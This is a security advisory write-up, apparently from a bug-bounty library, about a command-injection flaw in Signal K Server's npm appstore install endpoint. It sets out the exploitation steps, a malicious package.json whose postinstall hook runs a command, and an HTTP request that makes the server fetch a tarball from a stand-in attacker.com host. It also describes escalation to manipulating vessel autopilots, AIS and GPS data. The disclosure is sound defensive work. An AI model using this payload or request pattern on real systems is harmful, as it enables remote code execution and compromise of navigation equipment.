# Signal K Server Vulnerable to Remote Code Execution via Malicious npm Package

Signal K appstore install endpoint passed unsanitized npm version specifiers to npm, letting admins install attacker tarballs/git repos whose postinstall scripts execute code.

- Payout: Research
- Severity: high
- Program: Signal K Server
- Found by: atsc11
- Disclosed: 2026-01-02
- CVE: CVE-2025-68619
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-93jc-vqqc-vvvh
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-93jc-vqqc-vvvh
- Tags: area:web domain:api domain:web impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs tech:rest technique:source-review vuln:command-injection vuln:rce

**Target:** REST appstore install endpoint (src/interfaces/appstore.js) invoking npm install
**Root cause:** The :version route parameter is concatenated directly into the npm install package string without validating it as semver, so npm's URL/git/alias specifier syntax is accepted and postinstall scripts run.
**Steps:**
1. Craft a tarball with package.json containing `"scripts": {"postinstall": "node -e \"require('child_process').exec('calc.exe')\""}` and a minimal index.js
2. Serve the tarball at `http://attacker.com/pkg.tgz`
3. URL-encode the tarball URL and POST to `/skServer/appstore/install/signalk-pushover-plugin/<encoded_url>` with `Authorization: Bearer <VALID_AUTH_TOKEN>`
4. Server runs `npm --save install signalk-pushover-plugin@<url>`, npm fetches the tarball and executes the postinstall script
**How found:** Noticed the appstore endpoint only validates the package name against the npm registry but passes the version parameter straight into the npm install command string, then recognized npm's flexible specifier syntax (URLs, git, aliases) as an injection surface.
**Exploitation:** Attacker with admin token (obtained via a separate auth bypass chain) submits an install request whose version field is an attacker-controlled tarball URL, GitHub shorthand, git+https URL, or npm alias; npm downloads the package and runs its postinstall script as the SignalK process, yielding arbitrary command execution and full host compromise.
**Escalation:** Compromised server can inject NMEA 2000 PGNs / NMEA 0183 sentences to manipulate autopilots, spoof AIS, alter GPS/depth/wind data, or send engine shutdown commands; internet-exposed instances are globally reachable.
**Insight:** When a server shells out to a package manager, the version/ref field is as dangerous as the name: npm accepts `http(s)://`, `git+`, `user/repo`, and `npm:` aliases, and postinstall runs by default — test every field concatenated into the install string, not just the package identifier.

## Proof of concept (copied exactly from the original report)

**Malicious package.json with postinstall RCE**

```
{
  "name": "signalk-evil-plugin",
  "version": "1.0.0",
  "keywords": ["signalk-node-server-plugin"],
  "scripts": {
    "postinstall": "node -e \"require('child_process').exec('calc.exe')\""
  }
}
```

**HTTP request installing tarball via version param**

```
POST /skServer/appstore/install/signalk-pushover-plugin/http:%2F%2Fattacker.com%2Fpkg.tgz HTTP/1.1
Host: localhost:3000
Authorization: Bearer <VALID_AUTH_TOKEN>
Content-Length: 0
```

